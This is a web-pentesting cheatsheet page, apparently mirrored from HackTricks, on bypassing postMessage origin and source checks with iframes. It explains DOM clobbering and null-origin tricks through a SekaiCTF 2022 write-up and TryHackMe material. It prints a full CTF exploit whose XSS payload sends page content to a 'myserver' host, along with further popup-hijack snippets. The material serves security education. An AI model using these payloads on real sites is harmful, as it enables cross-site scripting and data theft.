daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

bypassing-sop-with-iframes-2.md (8063B)


      1 ---
      2 title: "Bypassing SOP with Iframes - 2"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Bypassing SOP with Iframes - 2
     14 
     15 ## Iframes in SOP-2
     16 
     17 In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.<sup>[[3]](#references)</sup>
     18 
     19 In this challenge the attacker needs to **bypass** this:
     20 
     21 ```javascript
     22 if (e.source == window.calc.contentWindow && e.data.token == window.token) {
     23 ```
     24 
     25 If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
     26 
     27 The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
     28 
     29 - **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`**. The Sanitizer API proposal discusses DOM-clobbering considerations separately from ordinary markup sanitization.<sup>[[5]](#references)</sup>
     30   - Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
     31   - Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, `null == undefined` is `true`). In the challenge's browser behavior, sending the message from an iframe and immediately removing that iframe causes the queued event's **`source`** to be observed as `null`; the serialized **`origin`** is a separate property.<sup>[[3]](#references)[[4]](#references)</sup>
     32 
     33 ```javascript
     34 let iframe = document.createElement("iframe")
     35 document.body.appendChild(iframe)
     36 window.target = window.open("http://localhost:8080/")
     37 await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
     38 iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
     39 document.body.removeChild(iframe) // the receiver observes e.source === null
     40 ```
     41 
     42 In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
     43 
     44 - Sending `token` in the postMessage with value `null` is trivial.
     45 - **`window.token`** is assigned by a `getCookie` function that reads **`document.cookie`**. Accessing cookies in this sandboxed opaque-origin context triggers an error in the challenge, leaving `window.token` as `undefined`.
     46 
     47 The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):<sup>[[4]](#references)</sup>
     48 
     49 ```html
     50 <html>
     51   <body>
     52     <script>
     53       // Abuse "expr" param to cause a HTML injection and
     54       // clobber document.getElementById and make window.calc.contentWindow undefined
     55       open(
     56         'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
     57       )
     58 
     59       function start() {
     60         var ifr = document.createElement("iframe")
     61         // Create a sandboxed iframe, as sandboxed iframes will have origin null
     62         // this null origin will document.cookie trigger an error and window.token will be undefined
     63         ifr.sandbox = "allow-scripts allow-popups"
     64         ifr.srcdoc = `<script>(${hack})()<\/script>`
     65 
     66         document.body.appendChild(ifr)
     67 
     68         function hack() {
     69           var win = open("https://obligatory-calc.ctf.sekai.team")
     70           setTimeout(() => {
     71             parent.postMessage("remove", "*")
     72             // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
     73             // token=null equals to undefined and e.source will be null so null == undefined
     74             win.postMessage(
     75               {
     76                 token: null,
     77                 result:
     78                   "<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
     79               },
     80               "*"
     81             )
     82           }, 1000)
     83         }
     84 
     85         // this removes the iframe so e.source becomes null in postMessage event.
     86         onmessage = (e) => {
     87           if (e.data == "remove") document.body.innerHTML = ""
     88         }
     89       }
     90       setTimeout(start, 1000)
     91     </script>
     92   </body>
     93 </html>
     94 ```
     95 
     96 ### 2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
     97 
     98 A recent TryHackMe task (“Vulnerable Codes”) demonstrates how OAuth popups can be hijacked when the opener lives inside a sandboxed iframe that only allows scripts and popups. The iframe forces both itself and the popup into a `"null"` origin, so handlers checking `if (origin !== window.origin) return` silently fail because `window.origin` inside the popup is also `"null"`. Even though the browser still exposes the real `location.origin`, the victim never inspects it, so attacker-controlled messages glide through.<sup>[[2]](#references)</sup>
     99 
    100 ```javascript
    101 const frame = document.createElement('iframe');
    102 frame.sandbox = 'allow-scripts allow-popups';
    103 frame.srcdoc = `
    104   <script>
    105     const pop = open('https://oauth.example/callback');
    106     pop.postMessage({ cmd: 'getLoginCode' }, '*');
    107   <\/script>`;
    108 document.body.appendChild(frame);
    109 ```
    110 
    111 Takeaways for abusing that setup:
    112 
    113 - Handlers that compare `origin` with `window.origin` inside the popup can be bypassed because both evaluate to `"null"`, so forged messages look legitimate.
    114 - A sandbox that grants `allow-popups` but omits `allow-same-origin` can propagate sandbox restrictions to a popup unless `allow-popups-to-escape-sandbox` is also present. Test the actual navigation and browser because the resulting origin and opener relationship depend on those flags.
    115 
    116 ### Source-nullification & frame-restriction bypasses
    117 
    118 Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set `X-Frame-Options: DENY` by launching them via `window.open` and posting messages once the navigation settles, and (2) you can brute-force `event.source == victimFrame` checks by removing the iframe immediately after sending a message so that the receiver only sees `null` in the handler.<sup>[[1]](#references)</sup>
    119 
    120 ```javascript
    121 const probe = document.createElement('iframe');
    122 probe.sandbox = 'allow-scripts';
    123 probe.onload = () => {
    124   const victim = open('https://target-app/');
    125   setTimeout(() => {
    126     probe.contentWindow.postMessage(payload, '*');
    127     probe.remove();
    128   }, 500);
    129 };
    130 document.body.appendChild(probe);
    131 ```
    132 
    133 Combine this with the DOM-clobbering trick above: once the receiver only sees `event.source === null`, any comparison against `window.calc.contentWindow` or similar collapses, letting you ship malicious HTML sinks through `innerHTML` again.
    134 
    135 ## References
    136 
    137 - [1] [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong)
    138 - [2] [THM Write-up: Vulnerable Codes](https://fatsec.medium.com/thm-write-up-vulnerable-codes-9ea8fe8464f9)
    139 - [3] [SekaiCTF 2022 - obligatory-calc solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)
    140 - [4] [obligatory-calc final solution (calc.html) by @terjanq](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)
    141 - [5] [WICG Sanitizer API - DOM clobbering considerations](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)